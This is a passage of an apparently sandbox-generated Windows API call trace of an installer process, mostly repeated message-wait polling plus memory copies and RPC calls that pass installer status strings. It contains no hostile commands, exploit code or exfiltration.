pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0101.533] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0101.704] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0101.876] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0102.047] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0102.223] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0102.375] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0102.547] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0102.738] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0102.889] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0103.087] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0103.275] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0103.420] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0103.607] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0103.764] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0103.922] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0104.081] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0104.245] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0104.402] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0104.559] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0104.730] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0104.886] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0105.075] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0105.229] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0105.417] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0105.615] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0105.791] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0105.978] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0106.203] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0106.384] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0106.555] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0106.759] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0106.945] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0107.358] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x2 [0107.440] PeekMessageW (in: lpMsg=0xdce3e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdce3e0) returned 0 [0107.441] NtdllDefWindowProc_W () returned 0x1 [0107.441] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0107.585] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0107.742] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0107.920] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0108.075] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0108.224] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x2 [0108.288] PeekMessageW (in: lpMsg=0xdce3e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdce3e0) returned 0 [0108.288] NtdllDefWindowProc_W () returned 0x1 [0108.288] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x2 [0108.417] PeekMessageW (in: lpMsg=0xdce3e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdce3e0) returned 0 [0108.417] NtdllDefWindowProc_W () returned 0x1 [0108.417] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0109.007] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0109.188] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0109.384] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0109.577] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0109.769] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0110.045] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0110.245] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0110.443] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0110.705] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0111.001] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0111.205] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0111.407] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0111.592] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0111.736] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0111.922] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0112.093] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0112.280] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0112.437] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0112.599] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0112.796] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0112.967] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0113.155] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0113.341] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0113.528] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0113.738] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0113.903] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0114.106] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0114.293] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0114.480] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0114.640] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0114.847] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0115.029] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0115.198] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0115.385] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0115.572] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0115.759] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0115.947] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0116.164] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0116.325] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0116.576] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0116.768] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0116.963] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0117.199] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0117.404] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0117.553] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0117.766] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0117.924] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0118.068] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0119.197] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0119.691] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0120.050] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0120.356] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0120.528] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0120.573] memcpy (in: _Dst=0x334ee0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee0) returned 0x334ee0 [0120.573] memcpy (in: _Dst=0x334ee2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee2) returned 0x334ee2 [0120.573] CoTaskMemAlloc (cb=0x4) returned 0x317630 [0120.573] memcpy (in: _Dst=0x317630, _Src=0x334ee0, _Size=0x4 | out: _Dst=0x317630) returned 0x317630 [0120.575] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0120.586] CoTaskMemFree (pv=0x317630) [0120.586] SetEvent (hEvent=0x174) returned 1 [0120.586] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0120.746] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0120.746] memcpy (in: _Dst=0x334ee0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee0) returned 0x334ee0 [0120.746] memcpy (in: _Dst=0x334ee2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee2) returned 0x334ee2 [0120.747] memcpy (in: _Dst=0x334ee4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee4) returned 0x334ee4 [0120.747] memcpy (in: _Dst=0x334ee6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ee6) returned 0x334ee6 [0120.747] memcpy (in: _Dst=0x334eea, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334eea) returned 0x334eea [0120.747] memcpy (in: _Dst=0x334eec, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334eec) returned 0x334eec [0120.747] CoTaskMemAlloc (cb=0x10) returned 0x330e00 [0120.747] memcpy (in: _Dst=0x330e00, _Src=0x334ee0, _Size=0x10 | out: _Dst=0x330e00) returned 0x330e00 [0120.747] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0120.750] CoTaskMemFree (pv=0x330e00) [0120.750] SetEvent (hEvent=0x174) returned 1 [0120.750] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0120.892] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0120.893] memcpy (in: _Dst=0x334ee0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee0) returned 0x334ee0 [0120.893] memcpy (in: _Dst=0x334ee2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee2) returned 0x334ee2 [0120.893] memcpy (in: _Dst=0x334ee4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee4) returned 0x334ee4 [0120.893] memcpy (in: _Dst=0x334ee6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ee6) returned 0x334ee6 [0120.893] memcpy (in: _Dst=0x334eea, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334eea) returned 0x334eea [0120.893] memcpy (in: _Dst=0x334eec, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334eec) returned 0x334eec [0120.893] CoTaskMemAlloc (cb=0x10) returned 0x330e00 [0120.893] memcpy (in: _Dst=0x330e00, _Src=0x334ee0, _Size=0x10 | out: _Dst=0x330e00) returned 0x330e00 [0120.894] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0120.894] CoTaskMemFree (pv=0x330e00) [0120.894] SetEvent (hEvent=0x174) returned 1 [0120.894] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0121.118] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0121.118] memcpy (in: _Dst=0x334ee0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee0) returned 0x334ee0 [0121.118] memcpy (in: _Dst=0x334ee2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee2) returned 0x334ee2 [0121.119] memcpy (in: _Dst=0x334ee4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee4) returned 0x334ee4 [0121.119] memcpy (in: _Dst=0x334ee6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ee6) returned 0x334ee6 [0121.119] memcpy (in: _Dst=0x334eea, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334eea) returned 0x334eea [0121.119] memcpy (in: _Dst=0x334eec, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334eec) returned 0x334eec [0121.119] CoTaskMemAlloc (cb=0x10) returned 0x330e00 [0121.119] memcpy (in: _Dst=0x330e00, _Src=0x334ee0, _Size=0x10 | out: _Dst=0x330e00) returned 0x330e00 [0121.119] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0121.132] CoTaskMemFree (pv=0x330e00) [0121.132] SetEvent (hEvent=0x174) returned 1 [0121.132] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0121.315] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0121.563] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0121.737] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0122.312] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0122.312] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0122.312] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0122.312] memcpy (in: _Dst=0x335934, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335934) returned 0x335934 [0122.312] memcpy (in: _Dst=0x335936, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335936) returned 0x335936 [0122.312] memcpy (in: _Dst=0x33593a, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33593a) returned 0x33593a [0122.312] memcpy (in: _Dst=0x33593c, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33593c) returned 0x33593c [0122.312] memcpy (in: _Dst=0x335940, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335940) returned 0x335940 [0122.312] memcpy (in: _Dst=0x335942, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335942) returned 0x335942 [0122.312] CoTaskMemAlloc (cb=0x16) returned 0x3b68d0 [0122.312] memcpy (in: _Dst=0x3b68d0, _Src=0x335930, _Size=0x16 | out: _Dst=0x3b68d0) returned 0x3b68d0 [0122.313] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0122.361] CoTaskMemFree (pv=0x3b68d0) [0122.361] SetEvent (hEvent=0x174) returned 1 [0122.361] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0122.493] lstrlenW (lpString="Time remaining: {[1] minutes }{[2] seconds}") returned 43 [0122.493] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0122.493] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0122.493] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2b | out: _Dst=0x335934) returned 0x335934 [0122.493] CoTaskMemAlloc (cb=0x2f) returned 0x3caa10 [0122.493] memcpy (in: _Dst=0x3caa10, _Src=0x335930, _Size=0x2f | out: _Dst=0x3caa10) returned 0x3caa10 [0122.494] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0122.532] CoTaskMemFree (pv=0x3caa10) [0122.532] SetEvent (hEvent=0x174) returned 1 [0122.532] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0122.533] lstrlenW (lpString="Out of memory. Shut down other applications before retrying.") returned 60 [0122.533] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0122.534] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0122.534] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x3c | out: _Dst=0x335934) returned 0x335934 [0122.534] CoTaskMemAlloc (cb=0x40) returned 0x35fac0 [0122.534] memcpy (in: _Dst=0x35fac0, _Src=0x335930, _Size=0x40 | out: _Dst=0x35fac0) returned 0x35fac0 [0122.535] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0122.580] CoTaskMemFree (pv=0x35fac0) [0122.580] SetEvent (hEvent=0x174) returned 1 [0122.580] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0122.581] lstrlenW (lpString="Installer is no longer responding.") returned 34 [0122.581] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0122.581] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0122.581] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x22 | out: _Dst=0x335934) returned 0x335934 [0122.582] CoTaskMemAlloc (cb=0x26) returned 0x3cbb60 [0122.582] memcpy (in: _Dst=0x3cbb60, _Src=0x335930, _Size=0x26 | out: _Dst=0x3cbb60) returned 0x3cbb60 [0122.582] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0122.583] CoTaskMemFree (pv=0x3cbb60) [0122.583] SetEvent (hEvent=0x174) returned 1 [0122.583] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0122.584] lstrlenW (lpString="Installer stopped prematurely.") returned 30 [0122.584] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: 